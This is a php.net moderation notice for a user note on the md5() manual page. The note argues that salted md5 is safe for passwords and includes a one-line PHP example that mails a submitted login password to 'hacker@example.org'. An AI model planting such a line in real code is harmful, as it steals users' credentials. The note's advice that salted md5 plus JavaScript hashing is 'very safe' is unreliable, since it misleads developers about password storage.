note 93026 added to function.md5

@Anonymous md5 is not weak if you use salts. I'm using something like that: <?php $hash = md5($password . $db_salt . $php_salt); ?> In this case $db_salt is part of the mysql database where the hash is written to and the $php_salt is part of a include php file. Someone who wants to hack this hash needs access to the database and the ftp. But if he has such an access he could easily do the following in the target of a login form: <?php mail('hacker@example.org', 'Someone logged in', $_POST['password']); ?> no encryption helps against hackers with ftp access. but we could use javascript to send salty hashes instead of readable text. If we do that it would be very safe. ---- Server IP: 217.13.201.10 Probable Submitter: 80.136.93.48 ---- Manual Page -- http://www.php.net/manual/en/function.md5.php Edit -- https://master.php.net/note/edit/93026 Del: integrated -- https://master.php.net/note/delete/93026/integrated Del: useless -- https://master.php.net/note/delete/93026/useless Del: bad code -- https://master.php.net/note/delete/93026/bad+code Del: spam -- https://master.php.net/note/delete/93026/spam Del: non-english -- https://master.php.net/note/delete/93026/non-english Del: in docs -- https://master.php.net/note/delete/93026/in+docs Del: other reasons-- https://master.php.net/note/delete/93026 Reject -- https://master.php.net/note/reject/93026 Search -- https://master.php.net/manage/user-notes.php